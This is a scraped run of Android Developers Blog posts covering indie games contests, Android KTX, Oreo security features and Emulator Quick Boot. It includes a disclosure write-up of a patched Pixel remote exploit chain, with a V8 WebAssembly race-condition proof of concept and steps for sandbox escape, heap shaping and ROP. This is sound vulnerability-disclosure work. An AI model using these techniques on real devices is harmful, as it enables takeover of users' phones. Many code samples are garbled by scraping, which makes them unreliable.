Congratulations to the winners of the Google Play Indie Games Contest  2017 in Europe

Congratulations to the winners of the Google Play Indie Games Contest 2017 in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

We have just wrapped up the second edition of the Google Play Indie Games Contest in Europe! The iconic Saatchi Gallery in London welcomed 20 developers, from 12 countries, who showcased their games to the audience of gamers, industry experts, and journalists.

The finalists’ games were on show to the public, who spent three hours trying out their games and voting for their favourites, alongside the Google Play team. The top 10 finalists were then selected, and went on to pitch their games, and compete for the big prizes in front of our jury.

Please join us in congratulating the winners! They will be bringing home a well-deserved diploma, along with a prize package that will help them reach more gamers worldwide; including premium placement on the Google Play Store, marketing campaigns of up to 100,000 EUR and influencer campaigns of up to 50,000 EUR, the latest Google hardware, tickets to Google I/O, and much more.

It’s really inspiring to see the excitement around this second edition, and great to see the new wave of indie games coming from Europe. We are already looking forward to playing the games that will be developed in 2018!

Check out the main winners and the other finalists on the Google Play Store!


Bury me, my love



A reality-inspired interactive fiction designed for mobile phones. It tells the story of Nour, a Syrian woman trying to reach Europe in hope of a better life.

Runners up

Old Man’s Journey

Broken Rules Interactive Media GmbH


A story game about life’s precious moments, broken dreams, and changed plans.


Bart Bonte


A puzzle game for you! A love letter to a marvelous colour and to the little wonder called touchscreens. Warning: very yellow!

The other games that have made it into top 10 are:

Captain Tom Galactic Traveler



An open world platformer and space exploration game. Embark on an exploratory mission, discover planets, collect oxygen, play with gravity.

I Love Hue


United Kingdom

A minimalist, ambient puzzle game influenced by mindfulness apps and abstract art. Players arrange shuffled mosaics of coloured tiles into perfectly ordered palettes.



Jodeo is a 2D jelly critter. There’s something it’s curious about: what if 3D objects and 2D physics are in the same game? How can 2D objects interact with 3D objects?

Kami 2

State of Play

United Kingdom

The calming yet addictive puzzle game is back! With over 100 handcrafted puzzles, it takes you on a mind-twisting journey that combines logic and problem-solving.




A tile sliding puzzle with a wonderful soundtrack. Mysterious things happen in a ruined room. Doors inside that room lead to different worlds and beautiful landscapes.

No More Buttons

Tommy Søreide Kjær


A hand-drawn platformer where the buttons are part of the environment.

The Big Journey



Designed for kids and adults alike, this a beautiful, casual adventure. Tilt to roll around and explore a beautiful world with Mr. Whiskers.

How useful did you find this blogpost?

Introducing Android KTX: Even Sweeter Kotlin Development for Android

Introducing Android KTX: Even Sweeter Kotlin Development for Android

Posted by Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, we are announcing the preview of Android KTX – a set of extensions designed to make writing Kotlin code for Android more concise, idiomatic, and pleasant. Android KTX provides a nice API layer on top of both Android framework and Support Library to make writing your Kotlin code more natural.

The portion of Android KTX that covers the Android framework is now available in our GitHub repo. We invite you to try it out to give us your feedback and contributions. The other parts of Android KTX that cover the Android Support Library will be available in upcoming Support Library releases.

Let’s take a look at some examples of how Android KTX can help you write more natural and concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let’s start with this simple example. Normally, you’d call Uri.parse(uriString). Android KTX adds an extension function to the String class that allows you to convert strings to URIs more naturally.

Kotlin with Android KTX

val uri = Uri.parse(myUriString)

val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a very common use case. The code using Android KTX is slightly shorter and more natural to read and write.

Kotlin with Android KTX
           .putBoolean(key, value)
sharedPreferences.edit { 
    putBoolean(key, value) 


Translating path difference

In the code below, we translate the difference between two paths by 100px.

Kotlin with Android KTX
val pathDifference = Path(myPath1).apply {
   op(myPath2, Path.Op.DIFFERENCE)

val myPaint = Paint()

canvas.apply {
   val checkpoint = save()
   translate(0F, 100F)
   drawPath(pathDifference, myPaint)

val pathDifference = myPath1 - myPath2

canvas.withTranslation(y = 100F) {
   drawPath(pathDifference, myPaint)

Action on View onPreDraw

This example triggers an action with a View’s onPreDraw callback. Without Android KTX, there is quite a bit of code you need to write.

       object : ViewTreeObserver.OnPreDrawListener {
           override fun onPreDraw(): Boolean {
               return true
Kotlin with Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many more places where Android KTX can simplify your code. You can read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX in your Android Kotlin projects, add the following to your app module’s build.gradle file:

repositories {

dependencies {
    // Android KTX for framework API
    implementation 'androidx.core:core-ktx:0.1'

Then, after you sync your project, the extensions appear automatically in the IDE’s auto-complete list. Selecting an extension automatically adds the necessary import statement to your file.

Beware that the APIs are likely to change during the preview period. If you decide to use it in your projects, you should expect breaking changes before we reach the stable version.

androidx: Hello World!

You may notice that Android KTX uses package names that begin with androidx. This is a new package name prefix that we will be using in future versions of Android Support Library. We hope the division between android.* and androidx.* makes it more obvious which APIs are bundled with the platform, and which are static libraries for app developers that work across different versions of Android.

What’s Next?

Today’s preview launch is only the beginning. Over the next few months, we will iterate on the API as we incorporate your feedback and contributions. When the API has stabilized and we can commit to API compatibility, we plan to release Android KTX as part of the Android Support Library.

We look forward to building Android KTX together with you. Happy Kotlin-ing!

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Posted by Kacey Fahey, Developer Marketing, Google Play

Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.

Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.

You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.

How useful did you find this blogpost?

Android Security Ecosystem Investments Pay Dividends for Pixel

Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by Mayank Jain and Scott Roberts of the Android Security team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  return i::wasm::ModuleWireBytes(start, start + length);

A simple PoC is as follows:

<script id="worker1">
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(;
        var i =0;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
    return sta;    
var blob = new Blob([
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);


The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.const 4
    get_local 1
    i32.const 8
    get_local 2
    i32.const 12
    get_local 3
    i32.const 16
    get_local 4
    i32.const 20
    get_local 5
    i32.const 0

Not only the instruction “call 0” can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4

/*Disassembly code of funcx*/
--- Code ---
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         

/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
    return err;

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
            return -errno;
        hnd->base = 0;
    return 0;

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    return err;

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .


The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Meet the finalists of the Google Play Indie Games Contest in Europe

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

Back in October we launched the 2nd edition of the Google Play Indie
Games Contest in Europe
, with the aim to identify, showcase and reward indie
gaming talent from more than 30 countries. We were amazed by the innovation and
creativity that indie developers from the region have to offer.

Selecting just 20 finalists has once again been a huge challenge. We had a lot
of fun playing the games that will go on to showcase at the Saatchi
on February 13th in London. Without further ado, we are happy
to announce the Top 20 finalists of this year’s edition. Congratulations to the
finalists and thanks to everyone else who has entered the contest.

Planet of Mine

Tuesday Quest


Constructor Portal

ClockStone Softwareentwicklung GmbH


me, my Love



Tom Galactic Traveler








United Kingdom




Love Hue


United Kingdom




State of Play

United Kingdom




More Buttons

Tommy Søreide Kjær


Man’s Journey

Broken Rules Interactive Media GmbH


Radium 2 | Ra²



Big Journey



House of Da Vinci

Blue Brain Games, s.r.o.


Office Quest







Andriy Bychkovskyi



Bart Bonte


Check out the prizes

All the 20 finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi
  • Inclusion of their game on a promotional billboard in London for 1 month
  • Inclusion of their game in a dedicated Indie Games Contest collection on the
    Indie Corner for one month in more than 40 countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event
    for top apps and games developers on Google Play
  • One (1) Pixel 2 device

They will also have the chance to win more
at the final event.

Join the Google Play team and the finalists at the final event:

Anyone can now register
to attend the final
showcase event
for free at the Saatchi Gallery in London on 13
February 2018
. Come and play some great games and have fun with indie
developers, industry experts, and the Google Play team.

How useful did you find this blogpost?

Double Stuffed Security in Android Oreo

Double Stuffed Security in Android Oreo

Posted by Gian G Spicuzza, Android Security team

Android Oreo is stuffed full of security enhancements. Over the past few months,
we’ve covered how we’ve improved the security of the Android platform and its
applications: from making
it safer to get apps
, dropping insecure
network protocols
, providing more user
control over identifiers
, hardening
the kernel
, making
Android easier to update
, all the way to doubling
the Android Security Rewards payouts
. Now that Oreo is out the door, let’s
take a look at all the goodness inside.

Expanding support for hardware security

Android already supports Verified Boot,
which is designed to prevent devices from booting up with software that has been
tampered with. In Android Oreo, we added a reference implementation for Verified
Boot running with Project
, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool
features to make updates easier and more secure, such as a common footer format
and rollback protection. Rollback protection is designed to prevent a device to
boot if downgraded to an older OS version, which could be vulnerable to an
exploit. To do this, the devices save the OS version using either special
hardware or by having the Trusted Execution Environment (TEE) sign the data.
Pixel 2 and Pixel 2 XL come with this protection and we recommend all device
manufacturers add this feature to their new devices.

Oreo also includes the new OEM
Lock Hardware Abstraction Layer
(HAL) that gives device manufacturers more
flexibility for how they protect whether a device is locked, unlocked, or
unlockable. For example, the new Pixel phones use this HAL to pass commands to
the bootloader. The bootloader analyzes these commands the next time the device
boots and determines if changes to the locks, which are securely stored in
Replay Protected Memory Block (RPMB), should happen. If your device is stolen,
these safeguards are designed to prevent your device from being reset and to
keep your data secure. This new HAL even supports moving the lock state to
dedicated hardware.

Speaking of hardware, we’ve invested support in tamper-resistant hardware, such
as the security
found in every Pixel 2 and Pixel 2 XL. This physical chip prevents
many software and hardware attacks and is also resistant to physical penetration
attacks. The security module prevents deriving the encryption key without the
device’s passcode and limits the rate of unlock attempts, which makes many
attacks infeasible due to time restrictions.

While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo
are required to implement key
. This provides a mechanism for strongly attesting
such as hardware identifiers.

We added new features for enterprise-managed devices as well. In work profiles,
encryption keys are now ejected from RAM when the profile is off or when your
company’s admin remotely locks the profile. This helps secure enterprise data at

Platform hardening and process isolation

As part of Project
, the Android framework was re-architected to make updates easier and
less costly for device manufacturers. This separation of platform and
vendor-code was also designed to improve security. Following the principle of
least privilege
, these HALs run in their own
and only have access to the drivers and permissions that are
absolutely necessary.

Continuing with the media
stack hardening
in Android Nougat, most direct hardware access has been
removed from the media frameworks in Oreo resulting in better isolation.
Furthermore, we’ve enabled Control Flow Integrity (CFI) across all media
components. Most vulnerabilities today are exploited by subverting the normal
control flow of an application, instead changing them to perform arbitrary
malicious activities with all the privileges of the exploited application. CFI
is a robust security mechanism that disallows arbitrary changes to the original
control flow graph of a compiled binary, making it significantly harder to
perform such attacks.

In addition to these architecture changes and CFI, Android Oreo comes with a
feast of other tasty platform security enhancements:

  • Seccomp
    : makes some unused syscalls unavailable to apps so that
    they can’t be exploited by potentially harmful apps.
  • Hardened
    : A recent survey
    of security bugs
    on Android
    revealed that invalid or missing bounds checking was seen in approximately 45%
    of kernel vulnerabilities. We’ve backported a bounds checking feature to Android
    kernels 3.18 and above, which makes exploitation harder while also helping
    developers spot issues and fix bugs in their code.
  • Privileged Access Never (PAN) emulation: Also backported to
    3.18 kernels and above, this feature prohibits the kernel from accessing user
    space directly and ensures developers utilize the hardened functions to access
    user space.
  • Kernel Address Space Layout Randomization (KASLR):
    Although Android has supported userspace Address Space Layout Randomization
    (ASLR) for years, we’ve backported KASLR to help mitigate vulnerabilities on
    Android kernels 4.4 and newer. KASLR works by randomizing the location where
    kernel code is loaded on each boot, making code reuse attacks probabilistic and
    therefore more difficult to carry out, especially remotely.

App security and device identifier changes

Instant Apps
run in a restricted sandbox which limits permissions and
capabilities such as reading the on-device app list or transmitting cleartext
traffic. Although introduced during the Android Oreo release, Instant Apps
supports devices running Android Lollipop and

In order to handle untrusted content more safely, we’ve isolated
by splitting the rendering engine into a separate process and
running it within an isolated sandbox that restricts its resources. WebView also
supports Safe Browsing to protect
against potentially dangerous sites.

Lastly, we’ve made significant
changes to device identifiers
to give users more control, including:

  • Moving the static Android ID and Widevine values to an
    app-specific value, which helps limit the use of device-scoped non-resettable
  • In accordance with IETF RFC 7844
    anonymity profile, net.hostname is now empty and the DHCP client no
    longer sends a hostname.
  • For apps that require a device ID, we’ve built a Build.getSerial()
    and protected it behind a permission.
  • Alongside security researchers1, we designed a robust MAC address
    randomization for Wi-Fi scan traffic in various chipsets firmware.

Android Oreo brings in all of these improvements, and many more. As always, we
appreciate feedback and welcome suggestions for how we can improve Android.
Contact us at


1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche:
University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU

Quick Boot & the Top Features in the Android Emulator

Quick Boot & the Top Features in the Android Emulator

Posted by Jamal Eason, Product Manager, Android

Today, we are excited to announce Quick Boot for the Android Emulator. With
Quick Boot, you can launch the Android Emulator in under 6 seconds. Quick Boot
works by snapshotting an emulator session so you can reload in seconds. Quick
Boot was first released with Android Studio 3.0 in the canary update channel and
